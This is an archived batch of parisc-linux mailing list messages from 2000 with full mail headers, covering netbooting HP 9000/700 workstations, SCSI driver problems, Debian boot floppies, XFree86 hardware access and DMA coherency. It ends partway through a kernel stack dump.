Original-Received: (qmail 20709 invoked from network); 30 Nov 2000 15:04:52 -0000
Original-Received: from latt.if.usp.br (qmailr@143.107.129.103)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 15:04:52 -0000
Original-Received: (qmail 16325 invoked by uid 1003); 30 Nov 2000 15:04:46 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 30 Nov 2000 15:04:46 -0000
In-Reply-To: <3A266BE1.5DA1C812@uswest.net>
Xref: news.gmane.org gmane.linux.ports.parisc:8670

> I believe the 735/755 type machines require rbootd to boot from the network.
> rbootd is available at:
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/rbootd-2.0-2.tar.gz

Ah! This is it, then! Had never heard of this beast before. I see it is
available for i386, nice, our server is a Pentium. Well, thanks a whole
lot for the tip, we are certainly trying this. Well, back to work...

----------------------------------------------------------------
        Jorge L. deLyra,  Associate Professor of Physics
            The University of Sao Paulo,  IFUSP-DFMA
       For more information: finger delyra@latt.if.usp.br
----------------------------------------------------------------


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 13:49:56 -0200 (BRST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.1001130134528.16737A-100000@latt.if.usp.br>
References: <Pine.LNX.3.96.1001130130209.16028B-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619361 7243 80.91.229.3 (22 Nov 2014 01:22:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:41 +0000 (UTC)
Cc: assirati@socrates.if.usp.br
To: parisc-linux@thepuffingroup.com
Original-X-From: delyra@latt.if.usp.br  Thu Nov 30 08:48:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA16681
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 08:48:01 -0700
Original-Received: (qmail 27578 invoked by uid 15267); 30 Nov 2000 15:50:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26991 invoked from network); 30 Nov 2000 15:50:07 -0000
Original-Received: from latt.if.usp.br (qmailr@143.107.129.103)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 15:50:07 -0000
Original-Received: (qmail 16743 invoked by uid 1003); 30 Nov 2000 15:49:56 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 30 Nov 2000 15:49:56 -0000
In-Reply-To: <Pine.LNX.3.96.1001130130209.16028B-100000@latt.if.usp.br>
Xref: news.gmane.org gmane.linux.ports.parisc:8671

OK, rbootd is up and running, the station now establishes instantaneous
communication with the server. But it says "bad LIF magic" and does not
boot. I presume I can't just put the precompiled kernel in there. Since
I cannot cross-compile for the time being (bad HP server disk crash) is
there a net-boot kernel somewhere that I can download and try?

							Cheers,

----------------------------------------------------------------
        Jorge L. deLyra,  Associate Professor of Physics
            The University of Sao Paulo,  IFUSP-DFMA
       For more information: finger delyra@latt.if.usp.br
----------------------------------------------------------------


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: haeussler@mkl-mail.mach.uni-karlsruhe.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Congratulations !!!
Date: Mon, 3 May 1999 08:37:29 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <51FF4AA61868D2119A040060080606B40B18E5@mkl-nt2.mach.uni-karlsruhe.de>
Reply-To: <haeussler@mkl-mail.mach.uni-karlsruhe.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619361 7245 80.91.229.3 (22 Nov 2014 01:22:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:41 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: haeussler@mkl-mail.mach.uni-karlsruhe.de  Mon Apr 26 22:55:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA12928
	for <parisc-linux@puffin.external.hp.com>; Mon, 26 Apr 1999 22:55:54 -0600
Original-Received: (qmail 19272 invoked by uid 15267); 3 May 1999 06:37:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19264 invoked from network); 3 May 1999 06:37:33 -0000
Original-Received: from nz41.rz.uni-karlsruhe.de (HELO mailhost.rz.uni-karlsruhe.de) (129.13.197.5)
  by mailserv2.iuinc.com with SMTP; 3 May 1999 06:37:33 -0000
Original-Received: from mklhp3.mach.uni-karlsruhe.de (root@mklhp3.mach.uni-karlsruhe.de [129.13.166.25])
	by mailhost.rz.uni-karlsruhe.de with esmtp (Exim 2.12 #1)
	id 10eCN6-000100-00; Mon, 3 May 1999 08:38:32 +0200
Original-Received: from mklpc21 (mklpc21.mach.uni-karlsruhe.de [129.13.166.23]) by mklhp3.mach.uni-karlsruhe.de with SMTP (8.8.6 (PHNE_14041)/8.7.3) id IAA24928 for <parisc-linux@thepuffingroup.com>; Mon, 3 May 1999 08:38:31 +0200 (METDST)
Original-Sender: "Pascal Haeussler" <haeussler@mkl-mail.mach.uni-karlsruhe.de>
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Xref: news.gmane.org gmane.linux.ports.parisc:8672

Hello to all You brave people,

Congratulations to all of You who brought this kernel to life.
Great job done. I'm really looking forward to what will come...

Best regards
- Pascal

--
Pascal Haeussler							Inst. fuer. MKL u. KFZBau
mailto:haeussler@mkl-mail.mach.uni-karlsruhe.de		Universitaet Karlsruhe
									Kaiserstrasse 12
									76131 Karlsruhe/Germany
									(0721) 608-6472 


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Thu, 30 Nov 2000 08:44:18 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20001130084418.A27104@tausq.org>
References: <200011201734.JAA18526@milano.cup.hp.com> <877l5lvq3k.fsf@rabbit.fire-swamp.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619362 7247 80.91.229.3 (22 Nov 2014 01:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:42 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, Matthew Wilcox <matthew@wil.cx>,
        parisc-linux@puffin.external.hp.com
To: Stephen Zander <gibreel@pobox.com>
Original-X-From: randolph@tausq.org  Thu Nov 30 09:00:37 2000
Original-Received: from phnxpop3.phnx.uswest.net (pop.phnx.uswest.net [206.80.192.3])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA17130
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 09:00:37 -0700
Original-Received: (qmail 22105 invoked by alias); 30 Nov 2000 15:54:12 -0000
Delivered-To: fixup-parisc-linux@puffin.external.hp.com@fixme
Original-Received: (qmail 902 invoked by uid 0); 30 Nov 2000 15:44:25 -0000
Original-Received: from bdslppp88.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.217.88)
  by pop.phnx.uswest.net with SMTP; 30 Nov 2000 15:44:25 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 141Vsh-00073J-00; Thu, 30 Nov 2000 08:44:19 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <877l5lvq3k.fsf@rabbit.fire-swamp.net>; from gibreel@pobox.com on Thu, Nov 30, 2000 at 12:09:03AM -0800
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8673

> Oooh, there's a reason for me to finally get the 712/80 under my desk
> to be more than a foot-rest.  I'll see what I can do about this.
> 
> Note that the likelihood of Debian releasing woody anytime soon is
> vanishingly small, so this dosen't have to happen Right Now.

So little faith... :P

Let me know what I can do to help.... it takes my dual-400MHz i386 box
about an hour to build boot-floopies; i don't even wait to think how
long it will take on the 712/80 :-)

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 16:11:15 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20001130161115.N22285@linuxcare.com>
References: <00113001105103.00309@P100> <FKEGLIIBOIACJOCCAFIMCEFBCCAA.smoret@uci.edu> <20001130112739.F22285@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619362 7251 80.91.229.3 (22 Nov 2014 01:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Steve Moret <smoret@uci.edu>
Original-X-From: rhirst@linuxcare.com  Thu Nov 30 09:15:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA17849
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 09:15:27 -0700
Original-Received: (qmail 9683 invoked by uid 15267); 30 Nov 2000 16:17:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9649 invoked from network); 30 Nov 2000 16:17:54 -0000
Original-Received: from user-140-21.jakinternet.co.uk (HELO rhirst.linuxcare.com) (212.187.140.21)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 16:17:54 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id AC22EB007; Thu, 30 Nov 2000 16:11:15 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001130112739.F22285@linuxcare.com>; from rhirst@linuxcare.com on Thu, Nov 30, 2000 at 11:27:39AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8674

On Thu, Nov 30, 2000 at 11:27:39AM +0000, Richard Hirst wrote:
> On Thu, Nov 30, 2000 at 01:20:28AM -0800, Steve Moret wrote:
> > Now, maybe you can help me identify my SCSI problem. I don't know if it is
> > because of driver issues or a bad disk (completly likely). Do other people
> > have the Fast SCSI2 working on their 735s?
> > 
> > Whenever I do a mke2fs (after partitioning the drive with fdisk ok) it dies.
> 
> 
> I have a 53c700 on my 715/75, and the driver was having trouble
> with a CRDOM I attached, so it has some problems.  I wrote the
> driver, but havn't used the 715/75 for a while since latest kernels
> wouldn't boot for me.  I'll get it going again and see if the scsi
> driver still works.

I got my 715/75 to boot.  The scsi driver still has problems with my
CDROM drive, but the disk seems ok.  I ran mke2fs of a 1Gig partition
a few times and then copied 200MB of files from the network to it.

Richard


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Thu, 30 Nov 2000 09:18:51 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <E141WQ7-000300-00@noam.fc.hp.com>
References: <200011201734.JAA18526@milano.cup.hp.com>  <877l5lvq3k.fsf@rabbit.fire-swamp.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619362 7254 80.91.229.3 (22 Nov 2014 01:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:42 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, Matthew Wilcox <matthew@wil.cx>,
        parisc-linux@puffin.external.hp.com
To: Stephen Zander <gibreel@pobox.com>
Original-X-From: bame@noam.fc.hp.com  Thu Nov 30 09:16:28 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA18122
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 09:16:28 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id JAA22390;
	Thu, 30 Nov 2000 09:18:52 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 141WQ7-000300-00; Thu, 30 Nov 2000 09:18:51 -0700
In-Reply-To: Your message of "30 Nov 2000 00:09:03 PST."
             <877l5lvq3k.fsf@rabbit.fire-swamp.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:8675

=     Grant> need "boot floppies" debian package working. We don't need
= 
= Oooh, there's a reason for me to finally get the 712/80 under my desk
= to be more than a foot-rest.  I'll see what I can do about this.
= 
= Note that the likelihood of Debian releasing woody anytime soon is
= vanishingly small, so this dosen't have to happen Right Now.

Well yes and no.  We want to release parisc-linux sooner than woody
will be ready for public stable release, so we'll want to do the
boot floppies work sooner than other architectures need it and
can probably therefore provide early testing too.  Since
we aren't going to time travel back to Debian potato, woody
boot floppies are increasingly interesting to replace our manual
install process (hey at least it's documented!).

	-P


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree status
Date: Thu, 30 Nov 2000 16:10:46 +0000 (GMT)
Lines: 53
Approved: news@gmane.org
Message-ID: <E141WIL-0007Ro-00@the-village.bc.nu>
References: <200011300518.VAA28946@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619362 7256 80.91.229.3 (22 Nov 2014 01:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:42 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Nov 30 09:18:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA18407
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 09:18:17 -0700
Original-Received: (qmail 14433 invoked by uid 15267); 30 Nov 2000 16:20:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14329 invoked from network); 30 Nov 2000 16:20:38 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 16:20:38 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 141WIL-0007Ro-00; Thu, 30 Nov 2000 16:10:49 +0000
In-Reply-To: <200011300518.VAA28946@milano.cup.hp.com> from "Grant Grundler" at Nov 29, 2000 09:18:14 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8676

> Alan Cox wrote:
> > I have a server linked.
> Alan - that's Cool! Wow!

Its still got its atoms in a twist, so its bombing out in Xnest loading the
first font.

> > inb/inw/outb/outw and friends are right now null
> > functions until I fill them in. Thats not a big deal. Initially I'll probably
> > use /dev/port but for speed I hope everyone uses mmio based hardware.
> 
> All HP graphics for PARISC are memory mapped. Both "GSC" and PCI flavors.

Yes, but if I want to say put an S3 Trio64 in my A180 and a USB card for
keyboard mouse..,, (and yes these are sitting on my desk)

> But I'm pretty clueless how linux X server finds/talks to a frame buffer.
> For HPUX, the graphics driver supports some ioctl()'s.
> Any references to describe how it works for linux?

The OS specific X code in XFree86 knows several ways to talk to Linux

Memory:

1.	Directly mmap()ing /dev/mem or /dev/kmem to get access to the 
	mmio space of the card and frame buffer memory. 

2.	Mapping the pci space via a kernel frame buffer device (/dev/fb*)

3.	Arbitary other mmap based code that you plug into it (harder to do)


I/O

1.	Use of iopl/ioperm on x86

2.	Use of mmap to map the PCI I/O space regions on different 
	platforms (which doesnt work on some PA kit)

3.	Arbitary other code we plug into it 


For I/O it seems that on things like the A180 the only way to do it is to use
/dev/port and pread/pwrite the file handle for each port I/O. This is slow but
hopefully primarily used for booting the card (XFree 4.0 has a X86 emulator
for booting the BIOS firmware on PCI cards)


For most machines I imagine we would be using mmio and the /dev/fb interface.

Alan



From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Thu, 30 Nov 2000 16:16:18 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E141WNg-0007Sk-00@the-village.bc.nu>
References: <877l5lvq3k.fsf@rabbit.fire-swamp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619363 7261 80.91.229.3 (22 Nov 2014 01:22:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:43 +0000 (UTC)
Cc: grundler@cup.hp.com (Grant Grundler), matthew@wil.cx (Matthew Wilcox),
        parisc-linux@puffin.external.hp.com
To: gibreel@pobox.com (Stephen Zander)
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Nov 30 09:20:59 2000
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA18675
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 09:20:58 -0700
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 141WNg-0007Sk-00; Thu, 30 Nov 2000 16:16:20 +0000
In-Reply-To: <877l5lvq3k.fsf@rabbit.fire-swamp.net> from "Stephen Zander" at Nov 30, 2000 12:09:03 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8677

> Oooh, there's a reason for me to finally get the 712/80 under my desk
> to be more than a foot-rest.  I'll see what I can do about this.
> 
> Note that the likelihood of Debian releasing woody anytime soon is
> vanishingly small, so this dosen't have to happen Right Now.

My experiences with building Red Hat 7 so far are mostly good. I don't think
there will be many actual changes needed to build Debian packages either. I've
made very little that isnt 'use -fPIC' 'dont optimise C++'


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question on Linux DMA routines
Date: Thu, 30 Nov 2000 09:31:14 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <200011301731.JAA29335@milano.cup.hp.com>
References: <01c05aac$657dec80$0f0d8421@hpinddm>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619363 7267 80.91.229.3 (22 Nov 2014 01:22:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:43 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Gunneswara Marripudi" <raomg@cup.hp.com>
Original-X-From: grundler@cup.hp.com  Thu Nov 30 10:29:38 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA19951
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 10:29:37 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel1.hp.com (Postfix) with ESMTP id 5990568E
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 10:32:23 -0700 (MST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA29335;
	Thu, 30 Nov 2000 09:31:15 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 30 Nov 2000 01:03:25 PST."
             <01c05aac$657dec80$0f0d8421@hpinddm> 
Xref: news.gmane.org gmane.linux.ports.parisc:8678

"Gunneswara Marripudi" wrote:
> Hi Grant,
> 
> I have a quick question on Linux 2.3 DMA routines.

2.3 is dead. You mean 2.4.


> If I allocate and map memory using pci_alloc_consistent(),
> do I still need to call pci_dma_sync_single() if there is a 
> need to ensure the coherency? The documentation on it
> at DMA-mapping.txt is ambiguous (at least to me). 

No - it's not needed.

> - Consistent DMA mappings which are usually mapped at driver
> 113   initialization, unmapped at the end and for which the hardware should
> 114   guarantee that the device and the cpu can access the data
> 115   in parallel and will see updates made by each other without any
> 116   explicit software flushing.
> 117 
> 118   Think of "consistent" as "synchronous" or "coherent".
> 
> 
> It says that h/w should guarantee the consistency and I'm not sure 
> what if the underlying platform is not fully coherent.

The HW *is* fully coherent when the CPU doesn't cache the pages.
Only systems with PCX-L/L2 CPU (need to) operate this way.
All other platforms have an I/O MMU which manages the coherency.

You might be confused because HPUX doesn't ever use uncached memory
for I/O since it has dma_sync() macro instead. And device driver writers
are "trained" to use that.


grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Steve Moret" <smoret@uci.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 09:39:17 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <FKEGLIIBOIACJOCCAFIMIEFFCCAA.smoret@uci.edu>
References: <20001130161115.N22285@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619363 7269 80.91.229.3 (22 Nov 2014 01:22:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:43 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: smoret@uci.edu  Thu Nov 30 10:37:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA20497
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 10:37:54 -0700
Original-Received: (qmail 25421 invoked by uid 15267); 30 Nov 2000 17:40:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25204 invoked from network); 30 Nov 2000 17:40:12 -0000
Original-Received: from cx531961-j.msnv1.occa.home.com (HELO cerebus.genocide.net) (qmailr@24.1.159.243)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 17:40:12 -0000
Original-Received: (qmail 23886 invoked from network); 30 Nov 2000 17:40:11 -0000
Original-Received: from cx531961-i.msnv1.occa.home.com (HELO CX531961I) (24.1.159.234)
  by cx531961-j.msnv1.occa.home.com with SMTP; 30 Nov 2000 17:40:11 -0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20001130161115.N22285@linuxcare.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:8679

I will go under the assumption that it could be the disks and their possible
age and try and find suitable replacements.

Once I do get disks working is there a "Recepe" on how to get it to boot
from your local drive.

I would figure just copy over the NFS root, but then where do I put the
lifimage so that boot manager can find it.

Until then I'll just keep booting from the network.

--
Steve Moret
smoret@uci.edu

> -----Original Message-----
> From: Richard Hirst [mailto:rhirst@linuxcare.com]
> Sent: Thursday, November 30, 2000 8:11 AM
> To: Steve Moret
> Cc: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] HP 9000/735-125
>
> I got my 715/75 to boot.  The scsi driver still has problems with my
> CDROM drive, but the disk seems ok.  I ran mke2fs of a 1Gig partition
> a few times and then copied 200MB of files from the network to it.


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Steve Moret" <smoret@uci.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 09:50:29 -0800
Lines: 156
Approved: news@gmane.org
Message-ID: <FKEGLIIBOIACJOCCAFIMIEFGCCAA.smoret@uci.edu>
References: <6166.975585889@www24.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619364 7271 80.91.229.3 (22 Nov 2014 01:22:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:44 +0000 (UTC)
Cc: "Parisc-Linux@Thepuffingroup. Com" <parisc-linux@thepuffingroup.com>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: smoret@uci.edu  Thu Nov 30 10:49:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA21050
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 10:48:59 -0700
Original-Received: (qmail 11946 invoked by uid 15267); 30 Nov 2000 17:51:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11907 invoked from network); 30 Nov 2000 17:51:25 -0000
Original-Received: from cx531961-j.msnv1.occa.home.com (HELO cerebus.genocide.net) (qmailr@24.1.159.243)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 17:51:25 -0000
Original-Received: (qmail 23960 invoked from network); 30 Nov 2000 17:51:24 -0000
Original-Received: from cx531961-i.msnv1.occa.home.com (HELO CX531961I) (24.1.159.234)
  by cx531961-j.msnv1.occa.home.com with SMTP; 30 Nov 2000 17:51:24 -0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <6166.975585889@www24.gmx.net>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:8680

With the BiDirectional stuff back in it dies here:

Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
ASP version 20 at 0xf0800000 found.
LED (ASP-style) display at f0800020
parport_gsc.c: initialize bidirectional-mode



Dumping Stack from ccff0000 to ccff0980:
0000 00000000 00000040 00000000 00000000 c027c4ac 00000000 00000000 ffffffff
0020 00000002 00000000 00000000 00000000 00000000 00000000 ffffffff c027c3c4
0040 c027c3c4 00000000 c02b0000 c02b0000 c028160c 00000000 00000000 00000000
0060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
0080 00000000 c02b0000 c02b0000 00000000 00000000 00000000 c02b0098 c02b0098
